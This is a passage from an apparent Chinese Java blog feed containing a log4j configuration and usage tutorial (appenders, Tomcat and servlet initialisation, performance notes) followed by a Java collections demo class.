<font size="+0">log4j.appender.A2.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} </font><br />
<font size="+0">method:%l%n%m%n</font> <br />
<font size="+0">log</font>信息<font size="+0">:</font> <br />
<font size="+0">[DEBUG] 2002-11-12 12:00:57,376 </font><br />
<font size="+0">method:cn.net.unet.weboa.system.dao.RoleDAO.select(RoleDAO.java:409)</font> <br />
<font size="+0">SELECT * FROM Role WHERE 1=1 order by createDate desc</font> <br />
<h2><font size="+0">2.4.</font>&nbsp;&nbsp;&nbsp; 配置文件的例子<font size="+0">:</font></h2>
<br />
<font size="+0">log4j.rootLogger=DEBUG</font> <br />
<font size="+0">#</font>将<font size="+0">DAO</font>层<font size="+0">log</font>记录到<font size="+0">DAOLog,allLog</font>中 <br />
<font size="+0">log4j.logger.DAO=DEBUG,A2,A4</font> <br />
<font size="+0">#</font>将逻辑层<font size="+0">log</font>记录到<font size="+0">BusinessLog,allLog</font>中 <br />
<font size="+0">log4j.logger.Businesslog=DEBUG,A3,A4</font> <br />
<br />
<font size="+0">#A1--</font>打印到屏幕上 <br />
<font size="+0">log4j.appender.A1=org.apache.log4j.ConsoleAppender</font> <br />
<font size="+0">log4j.appender.A1.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A1.layout.ConversionPattern=%-5p [%t] %37c %3x - %m%n</font> <br />
<br />
<font size="+0">#A2--</font>打印到文件<font size="+0">DAOLog</font>中<font size="+0">--</font>专门为<font size="+0">DAO</font>层服务 <br />
<font size="+0">log4j.appender.A2=org.apache.log4j.DailyRollingFileAppender</font> <br />
<font size="+0">log4j.appender.A2.file=DAOLog</font> <br />
<font size="+0">log4j.appender.A2.DatePattern='.'yyyy-MM-dd</font> <br />
<font size="+0">log4j.appender.A2.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A2.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} </font><br />
<font size="+0">method:%l%n%m%n</font> <br />
<br />
<font size="+0">#A3--</font>打印到文件<font size="+0">BusinessLog</font>中<font size="+0">--</font>专门记录逻辑处理层服务<font size="+0">log</font>信息 <br />
<font size="+0">log4j.appender.A3=org.apache.log4j.DailyRollingFileAppender</font> <br />
<font size="+0">log4j.appender.A3.file=BusinessLog</font> <br />
<font size="+0">log4j.appender.A3.DatePattern='.'yyyy-MM-dd</font> <br />
<font size="+0">log4j.appender.A3.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A3.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} </font><br />
<font size="+0">method:%l%n%m%n</font> <br />
<br />
<font size="+0">#A4--</font>打印到文件<font size="+0">alllog</font>中<font size="+0">--</font>记录所有<font size="+0">log</font>信息 <br />
<font size="+0">log4j.appender.A4=org.apache.log4j.DailyRollingFileAppender</font> <br />
<font size="+0">log4j.appender.A4.file=alllog</font> <br />
<font size="+0">log4j.appender.A4.DatePattern='.'yyyy-MM-dd</font> <br />
<font size="+0">log4j.appender.A4.layout=org.apache.log4j.PatternLayout</font> <br />
<font size="+0">log4j.appender.A4.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} </font><br />
<font size="+0">method:%l%n%m%n</font> <br />
<br />
<h1><font color="#008000"><font size="+0"><font size="+0">第3章.</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size="+0">API</font></font><font size="+0">使用</font></font></h1>
<br />
<font size="+0">log4j</font>使用步骤有<font size="+0">3</font>个：
<h2><font size="+0">3.1.</font>&nbsp;&nbsp;&nbsp; 初始化</h2>
<h3><font size="+0"><font size="+0">3.1.1.</font>&nbsp;&nbsp;<font size="+0">Tomcat</font></font><font size="+0">下的初始化</font></h3>
<br />
默认的<font size="+0">Log4j initialization</font>典型的应用是在<font size="+0">web-server </font>环境下。在<font size="+0">tomcat3.x</font>和<font size="+0">tomcat4.x</font>下，你应该将配置文件<font size="+0">Log4j.properties</font>放在你的<font size="+0">web</font>应用程序的<font size="+0">WEB-INF/classes </font>目录下。 <br />
<font size="+0">Log4j</font>将发现属性文件，并且以此初始化。这是使它工作的最容易的方法。 <br />
你也可以选择在运行<font size="+0">tomcat</font>前设置系统属性<font size="+0">Log4j.configuration </font>。对于<font size="+0">tomcat 3.x</font>，<font size="+0">TOMCAT_OPTS </font>系统变量是用来设置命令行的选项。对于<font size="+0">tomcat4.0</font>，用系统环境变量<font size="+0">CATALINA_OPTS </font>代替了<font size="+0">TOMCAT_OPTS</font>。 <br />
<font size="+0">UNIX </font>命令行 <br />
<font size="+0">export TOMCAT_OPTS="-DLog4j.configuration=foobar.txt"</font> <br />
告诉<font size="+0">Log4j</font>用文件<font size="+0">foobar.txt</font>作为默认的配置文件。这个文件应该放在<font size="+0">WEB-INF/classes </font>目录下。这个文件将被<font size="+0">PropertyConfigurator</font>所读。每个<font size="+0">web-application</font>将用不同的默认配置文件，因为每个文件是和它的<font size="+0">web-application </font>相关的。 <br />
1. <font size="+0">export TOMCAT_OPTS="-DLog4j.debug -DLog4j.configuration=foobar.xml"</font> <font size="+0">export TOMCAT_OPTS="-DLog4j.debug -DLog4j.configuration=foobar.xml"</font> <br />
告诉<font size="+0">Log4j</font>输出<font size="+0">Log4j-internal</font>的调试信息，并且用<font size="+0">foobar.xml</font>作为默认的配置文件。这个文件应该放在你的<font size="+0">web-application</font>的<font size="+0">WEB-INF/classes </font>目录下。因为有<font size="+0">.xml</font>的扩展名，它将被<font size="+0">DOMConfigurator</font>所读。每个<font size="+0">web-application</font>将用不同的默认配置文件。因为每个文件都和它所在的<font size="+0">web-application </font>相关的。 <br />
<font size="+0">2. set TOMCAT_OPTS=-DLog4j.configuration=foobar.lcf </font><br />
<font size="+0">-DLog4j.configuratorClass=com.foo.BarConfigurator</font> <br />
告诉<font size="+0">Log4j</font>用文件<font size="+0">foobar.lcf</font>作为默认的配置文件。这个文件应该放在你的<font size="+0">web-application</font>的<font size="+0">WEB-INF/classes </font>目录下。因为定义了<font size="+0">Log4j.configuratorClass </font>系统属性，文件将用自定义的<font size="+0">com.foo.barconfigurator</font>类来解析。每个<font size="+0">web-application</font>将用不同的默认配置文件。因为每个文件都和它所在的<font size="+0">web-application </font>相关的。 <br />
<font size="+0">3. </font><font size="+0">set TOMCAT_OPTS=-DLog4j.configuration=file:/c:/foobar.lcf</font> <font size="+0">set TOMCAT_OPTS=-DLog4j.configuration=file:/c:/foobar.lcf</font> <br />
告诉<font size="+0">Log4j</font>用文件<font size="+0">foobar.lcf</font>作为默认的配置文件。这个配置文件用<font size="+0">URL file:/c:/foobar.lcf</font>定义了全路径名。这样同样的配置文件将被所有的<font size="+0">web-application</font>所用。 <br />
不同的<font size="+0">web-application</font>将通过它们自己的类装载器来装载<font size="+0">Log4j</font>。这样，每个<font size="+0">Log4j</font>的环境将独立的运作，而没有任何的相互同步。例如：在多个<font size="+0">web-application</font>中定义了完全相同的输出源的<font size="+0">FileAppenders</font>将尝试写同样的文件。结果好象是缺乏安全性的。你必须确保每个不同的<font size="+0">web-application</font>的<font size="+0">Log4j</font>配置没有用到同样的系统资源。
<h3><font size="+0"><font size="+0">3.1.2.</font>&nbsp;&nbsp;<font size="+0">Servlet </font></font><font size="+0">的初始化</font></h3>
<br />
用一个特别的<font size="+0">servlet</font>来做<font size="+0">Log4j</font>的初始化也是可以的。如下是一个例子： <br />
<font size="+0">public class Log4jInit extends HttpServlet {</font> <br />
<font size="+0">public void init() {</font> <br />
<font size="+0">String prefix = getServletContext().getRealPath("/");</font> <br />
<font size="+0">String file = getInitParameter("Log4j-init-file");</font> <br />
<font size="+0">if(file != null) {</font> <br />
<font size="+0">PropertyConfigurator.configure(prefix+file);</font> <br />
<font size="+0">}</font> <br />
<font size="+0">}</font> <br />
<font size="+0">public void doGet(HttpServletRequest req, HttpServletResponse res) {</font> <br />
<font size="+0">}</font> <br />
<font size="+0">}</font> <br />
<br />
在<font size="+0">web.xml</font>中定义随后的<font size="+0">servlet</font>为你的<font size="+0">web-application</font>。 <br />
<font size="+0">&lt;servlet&gt;</font> <br />
<font size="+0">&lt;servlet-name&gt;Log4j-init&lt;/servlet-name&gt;</font> <br />
<font size="+0">&lt;servlet-class&gt;xx.xx.Log4jInit&lt;/servlet-class&gt;</font> <br />
<font size="+0">&lt;init-param&gt;</font> <br />
<font size="+0">&lt;param-name&gt;Log4j-init-file&lt;/param-name&gt;</font> <br />
<font size="+0">&lt;param-value&gt;WEB-INF/classes/Log4j.properties&lt;/param-value&gt;</font> <br />
<font size="+0">&lt;/init-param&gt;</font> <br />
<font size="+0">&lt;load-on-startup&gt;1&lt;/load-on-startup&gt;</font> <br />
<font size="+0">&lt;/servlet&gt;</font> <br />
写一个初始化的<font size="+0">servlet</font>是最有弹性的初始化<font size="+0">Log4j</font>的方法。代码中没有任何限制，你可以在<font size="+0">servlet</font>的<font size="+0">init</font>方法中定义它。
<h2><font size="+0">3.2.</font>&nbsp;&nbsp;&nbsp; 根据配置文件初始化<font size="+0">log4j</font></h2>
<br />
<font size="+0">log4j</font>可以使用<font size="+0">3</font>中配置器来初始化：<font size="+0">BasicConfigurator,DOMConfigurator,PropertyConfigurator</font> <br />
其语法为： <br />
<font size="+0">BasicConfigurator.configure ()</font>：<font size="+0"> </font>自动快速地使用缺省<font size="+0">Log4j</font>环境。 <br />
<font size="+0">PropertyConfigurator.configure ( String configFilename) </font>：读取使用<font size="+0">Java</font>的特性文件编写的配置文件。 <br />
<font size="+0">DOMConfigurator.configure ( String filename ) </font>：读取<font size="+0">XML</font>形式的配置文件。 <br />
这里用的是<font size="+0">PropertyConfigurator</font>。使用<font size="+0">PropertyConfigurator</font>适用于所有的系统。如下的语句： <br />
<font size="+0">PropertyConfigurator.configure("log4j.properties");</font> <br />
就以<font size="+0">log4j.properties</font>为配置文件初始化好了<font size="+0">log4j</font>环境。 <br />
注意一点：这个语句只需要在系统启动的时候执行一次。例如，在<font size="+0">ActionServlet</font>的<font size="+0">init()</font>方法中调用一次。 <br />
<font size="+0">public class ActionServlet extends HttpServlet{</font> <br />
<font size="+0">...</font> <br />
<font size="+0">/**</font> <br />
<font size="+0">* Initialize global variables</font> <br />
<font size="+0">*/</font> <br />
<font size="+0">public void init() throws ServletException {</font> <br />
<font size="+0">// </font>初始化<font size="+0">Action</font>资源 <br />
<font size="+0">try{</font> <br />
<font size="+0">initLog4j();</font> <br />
<font size="+0">...</font> <br />
<font size="+0">}catch(IOException e){</font> <br />
<font size="+0">throw new ServletException("Load ActionRes is Error");</font> <br />
<font size="+0">}</font> <br />
<font size="+0">}</font> <br />
<font size="+0">...</font> <br />
<font size="+0">protected void initLog4j(){</font> <br />
<font size="+0">PropertyConfigurator.configure("log4j.properties");</font> <br />
<font size="+0">}</font> <br />
<font size="+0">...</font> <br />
<font size="+0">}//end class ActionServlet</font> <br />
<h2><font size="+0">3.3.</font>&nbsp;&nbsp;&nbsp; 在需要使用<font size="+0">log4j</font>的地方获取<font size="+0">Logger</font>实例</h2>
<br />
使用<font size="+0">Log4j</font>，首先就是获取日志记录器，这个记录器将负责控制日志信息。其语法为： <br />
<font size="+0">public static Logger getLogger( String name)</font>， <br />
通过指定的名字获得记录器，如果必要的话，则为这个名字创建一个新的记录器。<font size="+0">Name</font>一般取本类的名字，比如： <br />
<font size="+0">static Logger logger = Logger.getLogger ( ServerWithLog4j.class.getName () ) ;</font> <br />
<font size="+0">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Log4j</font>使得通过软件组件命名<font size="+0">logger</font>很容易。我们可以通过<font size="+0">Logger</font>的静态的初始化方法在每一个类里定义一个<font size="+0">logger</font>，令<font size="+0">logger</font>的名字等于类名的全局名，而实现<font size="+0">logger</font>的命名。这是一个实效的简单的定义一个<font size="+0">logger</font>的方法。因为日志输出带有产生日志的类的名字，这个命名策略使得我们更容易定位到一个日志信息的来源。虽然普通，但却是命名<font size="+0">logger</font>的常用策略之一。 <br />
<font size="+0">Log4j</font>没有限制定义<font size="+0">logger</font>的可能。开发员可以自由的按照它们的意愿定义<font size="+0">logger</font>的名称。 <br />
然而，以类的所在位置来命名<font size="+0">Logger</font>好象是目前已知的最好方法。 <br />
<h2><font size="+0">3.4.</font>&nbsp;&nbsp;&nbsp; 使用<font size="+0">Logger</font>对象的<font size="+0">debug,info,fatal...</font>方法</h2>
<br />
<font size="+0">log.debug("it is the debug info");</font> <br />
<h1><font color="#008000"><font size="+0"><font size="+0">第4章.</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font size="+0">优化</font></font></h1>
<br />
一个经常引用的依靠于<font size="+0">logging</font>的参数是可以计算的花费。这是一个合理的概念，一个适度的应用程序可能产生成千上万个日志请求。许多努力花在测量和调试<font size="+0">logging</font>的优化上。<font size="+0">Log4j</font>要求快速和弹性：速度最重要，弹性是其次。
<h2><font size="+0">4.1.</font>&nbsp;&nbsp;&nbsp; 日志为禁用时，日志的优化。</h2>
<br />
当日志被彻底的关闭，一个日志请求的花费等于一个方法的调用加上整数的比较时间。在<font size="+0">233mhz</font>的<font size="+0">Pentium II </font>机器上这个花费通常在<font size="+0">5-50</font>纳秒之间。 <br />
然而，方法调用包括参数构建的隐藏花费。 <br />
例如，对于<font size="+0">logger cat</font>，<font size="+0">logger.debug("Entry number: " + i + " is " + String.valueOf(entry[i]));</font> <br />
引起了构建信息参数的花费，例如，转化整数<font size="+0">i</font>和<font size="+0">entry[i]</font>到一个<font size="+0">string</font>，并且连接中间字符串，不管信息是否被输出。这个参数的构建花费可能是很高，它主要决定于被调用的参数的大小。 <br />
避免参数构建的花费应如下，
<div twffan="done"><br />
<font color="#000080">if(logger.isDebugEnabled())</font> <br />
<font color="#000080">{</font> <br />
<font size="+0"><font color="#000080"><font size="+0">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; logger.debug("result is" + result );</font></font></font> <br />
<font color="#000080">}</font> </div>
<br />
如果<font size="+0">logger</font>的<font size="+0">debug</font>被关闭这将不会招致参数构建的花费。另一方面，如果<font size="+0">logger</font>是<font size="+0">debug</font>的话，它将产生两次判断<font size="+0"> logger</font>是否能用的花费。一次是在<font size="+0">debugenabled</font>，一次是<font size="+0">debug</font>。这是无关紧要的，因为判断日志的能用<font size="+0"> </font>只占日志实际花费时间的约<font size="+0">1%</font>。 <br />
在<font size="+0">Log4j</font>里，日志请求在<font size="+0">Logger </font>类的实例里。<font size="+0">Logger </font>是一个类，而不是一个接口。这大量的减少了在方法调用上的弹性化的花费。 <br />
当然用户采用预处理或编译时间技术去编译出所有的日志声明。这将导致完美的执行成效。然而因为二进制应用程序不包括任何的日志声明的结果，日志不可能对那个二进制程序开启。以我的观点，以这种较大的代价来换取较小的性能优化是不值得的。 <br />
<h2><font size="+0">4.2.</font>&nbsp;&nbsp;&nbsp; 当日志状态为启用时，日志的优化。</h2>
<br />
这是本质上的优化<font size="+0">logger</font>的层次。当日志状态为开，<font size="+0">Log4j</font>依然需要比较请求的级别与<font size="+0">logger</font>的级别。然而，<font size="+0"> logger</font>可能没有被安排一个级别；它们将从它们的<font size="+0">father</font>继承。这样，在继承之前，<font size="+0">logger</font>可能需要搜索它的<font size="+0">ancestor</font>。 <br />
这里有一个认真的努力使层次的搜索尽可能的快。例如，子<font size="+0">logger</font>仅仅连接到它的存在的<font size="+0">father logger</font>。 <br />
在先前展示的<font size="+0">BasicConfigurator </font>例子中，名为<font size="+0">com.foo.bar </font>的<font size="+0">logger</font>是连接到跟根<font size="+0">logger</font>，因此绕过<font size="+0"> </font>了不存在的<font size="+0">logger com</font>和<font size="+0">com.foo</font>。这将显著的改善执行的速度，特别是解析<font size="+0">logger</font>的层结构时。 <br />
典型的层次结构的解析的花费是<font size="+0">logger</font>彻底关闭时的三倍。 <br />
<h2><font size="+0">4.3.</font>&nbsp;&nbsp;&nbsp; 日志信息的输出时，日志的优化。</h2>
<br />
这是主要花费在日志输出的格式化和发送它到它的输出源上。这里我们再一次的付出努力以使格式化执行的尽可能快。同<font size="+0">appender</font>一样。实际上典型的花费大约是<font size="+0">100-300</font>毫秒。 <br />
详情看<font size="+0">org.apache.log4.performance.Logging</font>。 <br />
虽然<font size="+0">Log4j</font>有许多特点，但是它的第一个设计目标还是速度。一些<font size="+0">Log4j</font>的组件已经被重写过很多次以改善性能。不过，投稿者经常提出了新的优化。你应该满意的知道，以<font size="+0">SimpleLayout</font>的配置执行测试已经展示了<font size="+0">Log4j</font>的输出同<font size="+0">System.out.println</font>一样快。<br />
</font></font></font>&nbsp;
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/179612.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-02-11 16:22 <a href="http://www.blogjava.net/WshmAndLily/articles/179612.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java中文件操作大全</title><link>http://www.blogjava.net/WshmAndLily/articles/172968.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 05 Jan 2008 06:58:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/172968.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/172968.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/172968.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/172968.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/172968.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本文为本人在工作学习中的总结，每个方法都经过测试，记在博客上一方面是为了自己日后工作方便，另一方面是为了给大家提供方便，节约时间。&nbsp;一.获得控制台用户输入的信息/**&nbsp;*//**获得控制台用户输入的信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return...&nbsp;&nbsp;<a href='http://www.blogjava.net/WshmAndLily/articles/172968.html'>阅读全文</a><img src ="http://www.blogjava.net/WshmAndLily/aggbug/172968.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-01-05 14:58 <a href="http://www.blogjava.net/WshmAndLily/articles/172968.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Collection List Set SortedSet ArrayList LinkedList HashSet LinkedHashSet TreeSet的认识及用法</title><link>http://www.blogjava.net/WshmAndLily/articles/172751.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 04 Jan 2008 07:24:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/172751.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/172751.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/172751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/172751.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/172751.html</trackback:ping><description><![CDATA[<p>package com.semovy.test;</p>
<p>import java.util.ArrayList;<br />
import java.util.Arrays;<br />
import java.util.Collection;<br />
import java.util.Comparator;<br />
import java.util.HashSet;<br />
import java.util.LinkedHashSet;<br />
import java.util.LinkedList;<br />
import java.util.List;<br />
import java.util.ListIterator;<br />
import java.util.SortedSet;<br />
import java.util.TreeSet;</p>
<p>/**<br />
&nbsp;* <br />
&nbsp;* @author semovy@gmail.com<br />
&nbsp;*&nbsp; Collection<br />
&nbsp;*&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;*&nbsp; List&nbsp;&nbsp;&nbsp; Set______________________________________________<br />
&nbsp;*&nbsp; |__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;*&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;*&nbsp; ArrayList&nbsp; LinkedList&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HashSet&nbsp;&nbsp; LinkedHashSet&nbsp;&nbsp;&nbsp;&nbsp; SortedSet<br />
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TreeSet<br />
&nbsp;*/<br />
public class CollectionTest {<br />
/* Set容器中的对象是唯一的,所以加入Set容器的对象,必须重新equals()方法.作为唯一性的标识<br />
&nbsp;* HashSet的排序规则是利用HashTable,所以HashSet容器的对象必须重新定义hashCode()方法<br />
&nbsp;* 利用hashCode()方法,可以让快速找到容器中的对象,在比较两加入到容器中的对象是否相同时,会比较<br />
&nbsp;* hashCode()方法返回是否相同,如果相同,则再利用equals()方法比较,如果两者都相同,则被看作相同的对象<br />
&nbsp;* String 对象的hashCode(),equals已经被重新定义<br />
&nbsp;*/<br />
&nbsp;public static void main(String[] args)<br />
&nbsp;{<br />
&nbsp;&nbsp;//String 对象的hashCode(),equals已经被重新定义<br />
&nbsp;&nbsp;//结果重复的内容对象被除去,并按按照hashCode()升序排序<br />
&nbsp;&nbsp;Collection&lt;String&gt; colStr = new HashSet&lt;String&gt;();<br />
&nbsp;&nbsp;colStr.add("ArrayList");<br />
&nbsp;&nbsp;colStr.add("LinkedList");<br />
&nbsp;&nbsp;colStr.add("HashSet");<br />
&nbsp;&nbsp;colStr.add("LinkedHashSet");<br />
&nbsp;&nbsp;colStr.add("LinkedSortedSet");<br />
&nbsp;&nbsp;colStr.add("ArrayList");<br />
&nbsp;&nbsp;CollectionTest ct = new CollectionTest();<br />
&nbsp;&nbsp;ct.display(colStr);<br />
&nbsp;&nbsp;//自定义类Employee.如果没有重新定义hashCode(),equals()方法,则不会除去重复内容的对象,不会自动按hashCode()排序<br />
&nbsp;&nbsp;Collection&lt;Employee&gt; colEmp = new HashSet&lt;Employee&gt;();<br />
&nbsp;&nbsp;colEmp.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;colEmp.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;colEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;colEmp.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;colEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(colEmp);<br />
&nbsp;&nbsp;//LinkedHashSet,既去除了内容重复的对象,又按时插入容器时的顺序,被迭代.<br />
&nbsp;&nbsp;Collection&lt;Employee&gt; linkedEmp = new LinkedHashSet&lt;Employee&gt;();<br />
&nbsp;&nbsp;linkedEmp.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;linkedEmp.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;linkedEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;linkedEmp.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;linkedEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(linkedEmp);<br />
&nbsp;&nbsp;//SortedSet接口,可以去除重复,并有比较器.<br />
&nbsp;&nbsp;SortedSet&lt;String&gt; ss = new TreeSet&lt;String&gt;();<br />
&nbsp;&nbsp;ss.add("1");<br />
&nbsp;&nbsp;ss.add("2");<br />
&nbsp;&nbsp;ss.add("3");<br />
&nbsp;&nbsp;ss.add("4");<br />
&nbsp;&nbsp;ss.add("4");<br />
&nbsp;&nbsp;ct.display(ss);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;//&nbsp;&nbsp;SortedSet接口,可以去除重复,并有比较器.<br />
&nbsp;&nbsp;SortedSet&lt;Employee&gt; treeEmp = new TreeSet&lt;Employee&gt;(<br />
&nbsp;&nbsp;&nbsp;&nbsp;new Comparator&lt;Employee&gt;()//使用Employee泛型,匿名内部类比较器<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public int compare(Employee arg0, Employee arg1) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return arg1.getName().compareTo(arg0.getName());//按照名称比较降序排序<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;);<br />
&nbsp;&nbsp;treeEmp.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;treeEmp.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;treeEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;treeEmp.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;treeEmp.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(treeEmp);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;//SortedSet接口,可以去除重复,并有比较器.比较器名为comparatorById<br />
&nbsp;&nbsp;ComparatorById comparatorById = new ComparatorById();<br />
&nbsp;&nbsp;SortedSet&lt;Employee&gt; treeEmp1 = new TreeSet&lt;Employee&gt;(comparatorById);<br />
&nbsp;&nbsp;treeEmp1.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;treeEmp1.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;treeEmp1.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;treeEmp1.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;treeEmp1.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(treeEmp1);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;System.out.println();<br />
&nbsp;&nbsp;System.out.println(treeEmp1.last().toString());<br />
&nbsp;&nbsp;System.out.println(treeEmp1.first().toString());<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;//用List接口的实现<br />
&nbsp;&nbsp;//ArrayList.基于数组的实现,添加与删除的效率慢于LinkedList,<br />
&nbsp;&nbsp;//LinkedList基于双向链表的实现 ,添加与删除的效率快于ArrayList,但迭代遍历的效率不如ArrayList<br />
&nbsp;&nbsp;List&lt;Employee&gt; empList = new ArrayList&lt;Employee&gt;();<br />
&nbsp;&nbsp;empList.add(new Employee(1,"no.1","semovy","he is a hero."));<br />
&nbsp;&nbsp;empList.add(new Employee(2,"no.2","superman_wshm","from Shenzhen China"));<br />
&nbsp;&nbsp;empList.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;empList.add(new Employee(4,"no.4","joke","note1"));<br />
&nbsp;&nbsp;empList.add(new Employee(3,"no.3","韦善茂","来自中国"));<br />
&nbsp;&nbsp;ct.display(empList);<br />
&nbsp;&nbsp;<br />
